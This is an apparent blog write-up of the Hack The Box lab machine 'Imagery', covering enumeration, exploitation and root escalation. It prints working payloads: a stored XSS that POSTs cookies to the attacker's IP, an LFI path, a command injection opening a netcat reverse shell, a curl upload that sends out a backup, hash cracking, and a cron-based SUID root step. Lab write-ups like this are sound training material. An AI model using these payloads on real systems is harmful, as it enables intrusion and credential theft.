# Writeup: Imagery

4 min read
Table of Contents

This write-up covers the Hack The Box machine Imagery, a Medium difficulty Linux box revolving around a vulnerable image gallery web app. The main attack vectors include web vulnerabilities like XSS and LFI leading to Remote Code Execution (RCE), and a privilege escalation path via a custom backup utility with cron job abuse. The blog explains enumeration, exploitation, and privilege escalation while highlighting useful techniques and pitfalls.

Enumeration

Running a default nmap scan provided the following key results:

nmap -sV -sC
λ | nmap -sV -sC 10.10.11.88 -o imagery.nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 15:26 EDT
Nmap scan report for 10.10.11.88
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The HTTP service on port 8000 hosts an Image Gallery web app running on Werkzeug with Python 3.12.7.

Initial Web Analysis: XSS and LFI

The entire webpage and routes seemed to be contained in the one file. As well as the code for the admin backend. Here we see a code blog that displays reported bugs. However interesting enough the bug details are note sanitized:

const reportCard = document.createElement('div'); reportCard.className =
'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex
justify-between items-center'; reportCard.innerHTML = `
<div>
<p class="text-sm text-gray-500 mb-2">
Report ID: ${DOMPurify.sanitize(report.id)}
</p>
<p class="text-sm text-gray-500 mb-2">
Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID:
${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new
Date(report.timestamp).toLocaleString()}
</p>
<h3 class="text-xl font-semibold text-gray-800 mb-3">
Bug Name: ${DOMPurify.sanitize(report.name)}
</h3>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
<div
class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words"
>
${report.details}
</div>
</div>
<button
onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')"
class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4"
>
Delete
</button>
`; bugReportsList.appendChild(reportCard);

We can test if report.details is actual vulnerable by first doing a simple img src.

<img src="http://10.10.14.162/test.png">

And running a simple http server with python.

Terminal window
python -m http.server 80

We get a call back, so now lets try and add some code.

For example:

<img src/onerror="fetch('http://10.10.14.162', { method: 'POST', mode: 'no-cors', body:document.cookie });">

This XSS flaw leads to cookie theft, now we the admin session. We swap our cookies and enter as the admin.

Continuing when further going through the source we can see an LFI (Local File Inclusion) vulnerability:

Terminal window
http://imagery.htb:8000/admin/get_system_log?log_identifier=/etc/passwd

Which returned:

Terminal window
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash

The LFI lets us read arbitrary files on the server, crucial for further enumeration.

Investigating the Application (app.py)

Examining application source files revealed key information:

  • The app uses Flask with various blueprints for modular routes.
  • Passwords are stored as MD5 hashes.
  • Admin and testuser account hashes:
Terminal window
admin@imagery.htb:5d9c1d507a3f76af1e5c97a3ad1eaa31
testuser@imagery.htb:2c65c8d7bfbca32a3ed42596192384f6
  • The testuser password was cracked offline with hashcat:
Terminal window
hashcat -m 0 -a 0 hashes.txt ~wordlists/rockyou.txt

resulting in: 2c65c8d7bfbca32a3ed42596192384f6iambatman.

Remote Code Execution via Image Transformation

With access to the test user we can try out the experimental features. First we take a look at the api_edit.py blueprint which we get via the LFI:

api_edit.py
unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"

The parameters x and y are not sanitized, allowing command injection. As these are just append to the string.

Testing command injection payload:

Terminal window
0 test.png; busybox nc 10.10.14.162 9000 -e /bin/bash

With on the host running:

Terminal window
nc -lvnp 9000

Spawned a reverse shell successfully, only closing directly after. So we add a sleep to keep the connection open.

Terminal window
0 test.png; busybox nc 10.10.14.162 9000 -e /bin/bash && sleep 10000

User Escalation to “mark”

No initial password found for mark. After further enumeration, a backup file was found using linpeas.

We can downloaded this backup back to our host

Terminal window
curl -X POST https://10.10.14.162:4443/upload -F 'files=@/var/backup/web_20250806_120723.zip.aes' --insecure

Running file on it show that it has been encrypted using pyAesCrypt. So we let ChatGPT make a little python password bruteforcer and crack it using the rockyou wordlist:

Terminal window
./crack.py -e backup.zip.aes -w ~wordlists/rockyou.txt
=== SUCCESS ===
Password found (line 670): 'bestfriends'
Decrypted file written to: decrypted.bin
Attempts: 670
Done.

Inside the backup’s db.json file, credentials for mark@imagery.htb were found with an MD5 hash (01c3d2e5bdaf6134cec0a367cf53e535).

Using hashcat again, the hash was cracked as:

Terminal window
01c3d2e5bdaf6134cec0a367cf53e535 : supersmash

This password allowed us to switch to user mark using su and capturing the user flag.


Privilege Escalation to Root

Checking sudo permissions for mark:

Terminal window
sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass, secure_path=...
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol

charcol is a backup utility permitting cron job additions.

Adding a cron job to change the SUID bit on bash:

Terminal window
charcol add --schedule "* * * * *" --name root --command "chmod +s /bin/bash"

Which we then can utilize by running:

Terminal window
/bin/bash -p

This launches a shell with root privileges.

Finally, we get root flag:

Terminal window
cat /root/root.txt
8a768616559f07cd2e87966380f540c8

Lessons Learned

  • Closely evaluate source code, checking for missing sanitization or injection possibilities.
  • Password hashes can often be cracked offline with rockyou or other wordlists.
  • Custom utilities with sudo rights are prime privilege escalation targets, especially if they allow cron job scheduling.
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.


More Posts

Comments